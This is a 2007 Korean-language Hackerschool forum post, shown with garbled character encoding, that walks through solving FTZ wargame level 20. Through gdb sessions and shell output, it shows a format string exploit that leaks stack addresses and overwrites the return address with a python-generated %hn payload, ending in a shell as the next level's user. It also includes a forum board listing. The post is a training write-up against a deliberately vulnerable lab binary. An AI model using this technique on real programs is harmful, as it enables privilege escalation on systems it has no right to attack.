·¹º§ ÇØÅ·

 2844, 1/143 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   randomkid
   pogusm´Ô ·¹º§ 20 Ç®ÀÌ ÀÔ´Ï´Ù.(retÁÖ¼Ò º¯°æ)

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=2578 [º¹»ç]


shell»óÅÂ¿Í gdb »óÅ¿¡¼­ÀÇ ret ÁÖ¼Ò´Â ´Ù¸¨´Ï´Ù.

ÇÏÁö¸¸ ½ºÅûóÀÇ ¹èÄ¡±¸Á¶´Â »ó´ëÀûÀ¸·Î °°½À´Ï´Ù.

ÀÌ ¿ø¸®¸¦ ÀÌ¿ëÇÏ´Â °Ì´Ï´Ù.

Ä¿³Î 2.4À̹ǷΠȯ°æº¯¼öÀÇ ½©Äڵ尡 ½ÇÇàÀÌ °¡´ÉÇÕ´Ï´Ù.

¸ÕÀú eggshellÀ» ¶ç¿ó´Ï´Ù.

[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
[level20@ftz tmp]$

´ÙÀ½ gdb»óÅ¿¡¼­ retÁÖ¼Ò¸¦ ¾Ë¾Æº¸°Ú½À´Ï´Ù.

[level20@ftz tmp]$ gdb -q ../attackme
(gdb) disas main
Dump of assembler code for function main:
0x080483b8 <main+0>:    push   %ebp
0x080483b9 <main+1>:    mov    %esp,%ebp
0x080483bb <main+3>:    sub    $0x58,%esp
0x080483be <main+6>:    and    $0xfffffff0,%esp
0x080483c1 <main+9>:    mov    $0x0,%eax
0x080483c6 <main+14>:   sub    %eax,%esp
0x080483c8 <main+16>:   sub    $0x8,%esp
0x080483cb <main+19>:   push   $0xc1d
0x080483d0 <main+24>:   push   $0xc1d
0x080483d5 <main+29>:   call   0x80482f8 <setreuid>
0x080483da <main+34>:   add    $0x10,%esp
0x080483dd <main+37>:   sub    $0x4,%esp
0x080483e0 <main+40>:   pushl  0x80495c0
0x080483e6 <main+46>:   push   $0x4f
0x080483e8 <main+48>:   lea    0xffffffa8(%ebp),%eax
0x080483eb <main+51>:   push   %eax
0x080483ec <main+52>:   call   0x80482c8 <fgets>
0x080483f1 <main+57>:   add    $0x10,%esp
0x080483f4 <main+60>:   sub    $0xc,%esp
0x080483f7 <main+63>:   lea    0xffffffa8(%ebp),%eax
0x080483fa <main+66>:   push   %eax
0x080483fb <main+67>:   call   0x80482e8 <printf>
0x08048400 <main+72>:   add    $0x10,%esp
0x08048403 <main+75>:   leave
0x08048404 <main+76>:   ret
0x08048405 <main+77>:   nop
0x08048406 <main+78>:   nop
0x08048407 <main+79>:   nop
End of assembler dump.
(gdb) b *main+1
Breakpoint 1 at 0x80483b9
(gdb) r
Starting program: /home/level20/attackme

Breakpoint 1, 0x080483b9 in main ()
(gdb) x/x $esp
0xbffff1e8:     0xbffff208 <--- ÀÌÀü ebp ÁÖ¼Ò
(gdb)
0xbffff1ec:     0x40038917 <--- ret
(gdb)

ret ÁÖ¼Ò´Â 0xbffff1ecÀÌ°í ÀÌÀü ebpÁÖ¼Ò´Â 0xbffff208ÀÔ´Ï´Ù.

ÀÌ µÑÀÇ Â÷ÀÌ°ªÀº Ç×»ó ÀÏÁ¤ÇÕ´Ï´Ù.

Â÷ÀÌ°ªÀ» ±¸Çϸé 0xbffff208 - 0xbffff1ec = 0x1c

ÀÌ Â÷ÀÌ°ªÀ» Àß ±â¾ïÇϽñ⠹ٶø´Ï´Ù.

±× ´ÙÀ½ ½© »óÅ¿¡¼­ ÀÌÀü ebpÁÖ¼Ò¸¦ ±¸Çغ¸°Ú½À´Ï´Ù.

[level20@ftz tmp]$ ../attackme
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
4f401574604009d5007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825bfff000a80482b54000c660bffff234bffff1e88048412401591c040015360bffff208400389171 <--- ret ÁÖ¼Ò.
[level20@ftz tmp]$

Æ÷¸ä½ºÆ®¸µ ¹ö±×¸¦ ÅëÇؼ­ ÀÌÀü ebpÁÖ¼Ò°¡ ³ëÃâµÇ¾úÁÒ?

º¸½Ã¸é ÀÌÀü ebpÁÖ¼Ò´Â 0xbffff208·Î gdb¿Í °°Àº ÁÖ¼Ò¸¦ °®°í ÀÖ½À´Ï´Ù.

±×·³ ´ç¿¬È÷ retÁÖ¼Òµµ °°½À´Ï´Ù.

ÇÏÁö¸¸ egg½©À» Ãë¼ÒÇÑ ÈÄ ´Ù½Ã È®ÀÎÀ» Çغ¸¸é...

[level20@ftz tmp]$ exit
exit
[level20@ftz tmp]$ ../attackme
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
4f401574604009d5007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825bfff000a80482b54000c660bffffb24bffffad88048412401591c040015360bffffaf8400389171 <--- ÀÌÀü ebpÁÖ¼Ò°¡ ´Ù¸§!!!

ÀÌÀü ebpÁÖ¼Ò°¡ 0xbffffaf8·Î½á ´Ù¸§À» ¾Ë¼ö ÀÖ½À´Ï´Ù.

ÀÌ·± Çö»óÀÌ ¹ß»ýÇÏ´Â ÀÌÀ¯´Â egg½©¿¡¼­ ¼öÇàÇϴ ȯ°æº¯¼ö µî·Ï¶§¹®ÀÔ´Ï´Ù.

¸ðµç ȯ°æº¯¼ö´Â ½ºÅÃ»ó¿¡ ¹èÄ¡µÇ´Âµ¥ egg½©ÀÇ °æ¿ì NOPÄڵ带 ºñÁ¤»óÀûÀ¸·Î Å©°Ô ³Ö½À´Ï´Ù.

Ä¿³Î 2.4¿¡¼­ ȯ°æº¯¼öÀÇ Å©±â°¡ ºñÁ¤»óÀûÀ¸·Î Ŭ °æ¿ì ½ºÅñ¸Á¶°¡ gdb¿Í shell°ú °°¾Æ Áö´Â Çö»óÀÌ ¹ß»ýÇÕ´Ï´Ù.

°¡²û egg½©À» ¶ç¿ü´Âµ¥µµ ºÒ±¸ÇÏ°í retÁÖ¼Ò°¡ ´Ù¸¥ °æ¿ìµµ Àִµ¥ ±× °æ¿ì´Â

ȯ°æº¯¼öÀÇ ³»¿ëÀ» ¼öÁ¤Ç߰ųª argv¿µ¿ªÀÇ °ªÀÌ ´Ù¸¦°æ¿ì ¹ß»ýÇÕ´Ï´Ù.

ÇÏÁö¸¸ ´Ù¸£´Ù°í ÇÒÁö¶óµµ ¾Æ±î ±¸ÇÑ gdb¿¡¼­ÀÇ ÀÌÀü ebp - retÁÖ¼Ò Â÷ÀÌ°ªÀ»

±¸ÇÑ ´ÙÀ½ shell¿¡¼­ ÀÌÀü ebp°ªÀ» ¾Ë¼ö ÀÖÀ¸¸é ¼Õ½±°Ô retÁÖ¼Ò¸¦ ¾Ë¼öÀÖ½À´Ï´Ù.

´Ù½Ã egg½©À» ½ÇÇàÇÑ ÈÄ retÁÖ¼Ò¸¦ º¯°æÇÏ¿© ½©À» ½ÇÇàÇØ º¸°Ú½À´Ï´Ù.

[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
[level20@ftz tmp]$

½©¿¡¼­ÀÇ retÁÖ¼Ò´Â 0xbffff1ecÀÔ´Ï´Ù.

[level20@ftz tmp]$ (python -c 'print "\xee\xf1\xff\xbf"+"\xec\xf1\xff\xbf"+"%49143x%4$hn"+"%15033x%5$hn"';cat) | ../attackme

...

                                                   40157460
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
my-pass
TERM environment variable not set.

clear Password is "**********************".
À¥¿¡¼­ µî·ÏÇϼ¼¿ä.

* ÇØÄ¿½ºÄðÀÇ ¸ðµç ·¹º§À» Åë°úÇϽŠ°ÍÀ» ÃàÇϵ帳´Ï´Ù.
´ç½ÅÀÇ ²öÁú±ä ¿­Á¤°ú ´É¼÷ÇÑ ¼Ø¾¾¿¡ Âù»ç¸¦ º¸³À´Ï´Ù.
ÇØÄ¿½ºÄð¿¡¼­´Â ½Ç·ÂÀÖ´Â ºÐµéÀ» ¸ð¾Æ ¿¬±¸¼Ò¶ó´Â ±×·ìÀ» ¿î¿µÇÏ°í ÀÖ½À´Ï´Ù.
ÀÌ ¸Þ½ÃÁö¸¦ º¸½Ã´Â ºÐµé Áß¿¡ ¿¬±¸¼Ò¿¡ °ü½ÉÀÖÀ¸½Å ºÐÀº ÀÚÀ¯·Î¿î ¾ç½ÄÀÇ
°¡ÀÔ ½Åû¼­¸¦ admin@hackerschool.org·Î º¸³»Áֽñ⠹ٶø´Ï´Ù.

ClearÀÇ ±ÇÇÑÀ» ȹµæÇß½À´Ï´Ù.

--------------------------------------------------------------------------

Ä¿³Î 2.4´Â ½ºÅÃÀÇ ÁÖ¼Ò°¡ °íÁ¤ÀûÀ̱⠶§¹®¿¡ ½ºÅÃ»ó¿¡ ÀÖ´Â ÁÖ¼Ò°ª°ú »ó´ëÀûÀÎ

Â÷À̸¦ ÀÌ¿ëÇÏ¸é ¾ó¸¶µçÁö °¡´ÉÇÕ´Ï´Ù.

À§¿¡¼­ º¸¿©ÁØ ¿¹´Â main()ÀÇ ¸®ÅϾîµå·¹½ºº¯Á¶Áö¸¸ Æ÷¸ä½ºÆ®¸µÀÌ ÀϾ´Â

printfÀÇ ¸®ÅϾîµå·¹½ºµµ º¯Á¶°¡ °¡´ÉÇÕ´Ï´Ù.

ÀÌÀü ±Û¿¡¼­ Áú¹®ÇϽŠ´äº¯À» ´õÇص帮°Ú½À´Ï´Ù.

Áú¹® : Ãß°¡·Î Çϳª¸¸ ´õ Áú¹® µå¸±°Ô¿ä..// ±×·¸´Ù¸é, sh-3.2# ÀÌ·±½ÄÀ¸·Î ½©ÀÌ ¶ß´Â°Ç, ÀÚ½ÄÇÁ·Î¼¼½º·Î ½©ÀÌ¶ß´Â°Ô ¾Æ´Ï¶ó, µ¶¸³µÈ ÇÁ·Î¼¼½º·Î ½©ÀÌ ¶á´Ù´Â ¸»¾¸À̽Űǰ¡¿ä??

ÀÚ½ÄÇÁ·Î¼¼½º¶ó´Â ¸»¿¡ ÁßÁ¡À» µÎ°í ÀÐÀ¸½Å°Í °°½À´Ï´Ù. ^^;;

Ç¥ÁØ ÀÔ·ÂÀ» ¿ä±¸ÇÏ´Â ÇÁ·Î±×·¥À» °ø°ÝÇؾßÇÒ °æ¿ì ÆÄÀÌÇÁ¸¦ ÅëÇؼ­

¿øÇÏ´Â Äڵ带 ³Ö¾î¾ß ÇÕ´Ï´Ù.

´ÙÀ½°ú °°ÀÌ ÀÔ·ÂÀ» ÇÒ °æ¿ì

printf "..." | ./vul

¸ÕÀú printf°¡ ½ÇÇàÀÌ µÇ°í Ãâ·ÂµÇ´Â °ªÀ» Àá½Ã ÀúÀåÇÏ°í ÀÖ½À´Ï´Ù.

ÀÌ »óÅ¿¡¼­ vulÀÌ ½ÇÇàÀÌ µË´Ï´Ù.

vul¿¡¼­ Ç¥ÁØ ÀÔ·ÂÀ» ¿ä±¸ÇÒ¶§ ±×¶§¼­¾ß printfÀÇ Ãâ·Â Äڵ带 ÀÔ·ÂÀ¸·Î ³Ö°ÔµÇ°í

printf´Â Á¾·á°¡ µË´Ï´Ù.

ÀÌ·¸°Ô µÇ¸é ´ÙÀ½°ú °°ÀÌ µË´Ï´Ù.

... | ./vul

Áï ÆÄÀÌÇÁÀÇ ¿¬°áÀÌ ÇØÁ¦°¡ µË´Ï´Ù.

ÀÌ »óÅ¿¡¼­ ÀÚ½ÄÇÁ·Î¼¼½º·Î shellÀÌ ¶á´Ù°í Çصµ ÀÔ·ÂÀ» ÇÒ¼ö ¾ø°Ô µË´Ï´Ù.

±×·¡¼­  printf "...";cat | ./vul

ÀÌ·¸°Ô ½ÇÇàÇϹǷνá

cat | ./vul --> shell

catÀ̶ó´Â Ç¥ÁØ Ãâ·Â ÇÁ·Î±×·¥À» ÀÌ¿ëÇؼ­ shell¿¡°Ô ¸í·ÉÀ» ³»¸±¼öÀÖ´Â ÆÄÀÌÇÁ¸¦

¿¬°á À¯ÁöÇϱâ À§ÇÔÀÔ´Ï´Ù.

ÆÄÀÌÇÁÀÇ ¿¬°á À¯Áö¸¦ À§Çؼ­ À§¿Í °°ÀÌ °ø°ÝÀ» Çϴ°ÍÀÔ´Ï´Ù. ^^

ÀúÀÇ ÂªÀº Áö½ÄÀÌ ´äº¯ÀÌ µÇ¾ú´ÂÁö ¸ð¸£°Ú½À´Ï´Ù.

Àúµµ pogusm´Ôó·³ ½ºÅðú ¾¾¸§ÇÒ¶§°¡ ±â¾ï³ª³×¿ä ^^

Áñ°Å¿î ÇÏ·ç µÇ¼¼¿ä~

  Hit : 3618     Date : 2007/11/21 11:29



    
pogusm ¿ì¿Õ~ Á¤¸» °í¸¿½À´Ï´Ù... ´Ê°Ô µé¾î¿Í ´Ê°ÔºÃ´Âµ¥... ÀÏ´Ü..¼±¸®ÇÃ..... /// ½Ç½ÀÇÏ°í ¿À°Ú½À´Ï´Ù~ 2007/11/21  
pogusm Á» °ÔÀ»·¯¼­.. ½Ç½ÀÇϴµ¥ ÀÌƲ°É·È³×¿ä.. ¤»¤» ^^; // ´Ù½ÃÇѹø Á¤¸» °í¸¿½À´Ï´Ù~ 2007/11/23  
2844   hack the box vpn ¼³Ä¡°¡ ¾È µË´Ï´Ù[2]     jyk5350
07/16 1811
2843   ¿ö°ÔÀÓ¿¡¼­ ½ÇÁ¦ ÇÁ·ÎÁ§Æ®±îÁö À̾îÁö´Â °úÁ¤¿¡ °ü·ÃµÈ Áú¹®[2]     junhee329
04/28 1556
2842   ftz Á¢¼Ó °ü·Ã[1]     pk2861
04/01 1909
2841   level8ÀÇ ÈùÆ®ÆÄÀÏ ÈѼÕ[2]     MunHue
06/05 2161
2840   ·¹º§1ÀÇ /bin/bash ¸í·É¾î....     MunHue
05/15 2310
2839   ftz level4¿¡¼­ finger¸í·É¾î     krimson701
04/20 2424
2838   /bin/bash¿¡ °üÇؼ­[3]     MunHue
04/19 2509
2837   FC10 3¹ø ¹®Á¦ Áú¹®ÀÔ´Ï´Ù.[2]     tjdalstjr938
04/02 2525
2836   ftzÀÌ ¾ÈµÇ¿ä¤Ð¤Ð¤Ð¤Ð¤Ð[1]     ersd145
04/13 3185
2835   fedora core4 cruel Áú¹®[4]     vngkv123
03/29 2616
2834   Fedora core4...[3]     vngkv123
03/28 2634
2833   lob evil_wizard...[2]     vngkv123
03/27 2281
2832   lob gremlin....[1]     vngkv123
03/22 3660
2831   ftz level11 Áú¹®[1]     vngkv123
03/19 2361
2830   pwnable.kr passcode¹®Á¦ Áú¹®...[3]     vngkv123
03/14 2371
2829   ¿ö°ÔÀÓ Á¢ÇÒ ¼ö ÀÖ´Â »çÀÌÆ® ¾Ë·ÁÁÖ¼¼¿ä.[2]     ¿À¼Ò¸®
02/23 3902
2828   ¿ö°ÔÀÓ ±â¹Ý Áö½Ä¿¡ °üÇÑ Áú¹®[1]     salangi11
02/22 2262
2827   ftz Ç®±âÀ§ÇØ ÇÊ¿äÇÑ Áö½ÄÀÌ ±Ã±ÝÇÕ´Ï´Ù.[1]     read1516
01/13 2671
2826   Lob[1]     km1434
12/20 2445
2825   FTZ level4 ½© ¶ç¿ì´Â ¹®Á¦      kimstz0
10/09 2880
1 [2][3][4][5][6][7][8][9][10]..[143]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org